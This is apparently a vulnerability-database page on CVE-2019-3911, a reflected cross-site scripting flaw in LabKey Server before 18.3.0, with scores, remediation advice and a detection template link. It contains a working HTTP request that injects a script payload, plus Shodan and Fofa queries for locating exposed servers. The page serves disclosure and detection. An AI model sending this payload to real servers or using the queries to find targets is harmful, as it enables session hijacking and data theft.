🔙 목록으로 돌아가기

CVE-2019-3911: LabKey Server Community Edition <18.3.0 - Cross-Site Scripting

TitleLabKey Server Community Edition <18.3.0 - Cross-Site Scripting
Authorprincechaddha
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade LabKey Server Community Edition to version 18.3.0 or later to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.01482
CVE IDCVE-2019-3911
CWE IDCWE-79
Shodan QueryServer: Labkeyhttp.title:"sign in: /home"server: labkey
Fofa Querytitle="sign in: /home"
Tags cve cve2019 xss labkey tenable vuln

🔍 Vulnerability Description

LabKey Server Community Edition before 18.3.0-61806.763 contains a reflected cross-site scripting vulnerability via the onerror parameter in the /__r2/query endpoints, which allows an unauthenticated remote attacker to inject arbitrary JavaScript.

🌐 HTTP Request

GET /__r2/query-printRows.view?schemaName=ListManager&query.queryName=ListManager&query.sort=Nameelk5q%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ezp59r&query.containerFilterName=CurrentAndSubfolders&query.selectionKey=%24ListManager%24ListManager%24%24query&query.showRows=ALL HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-3911.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-3911.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A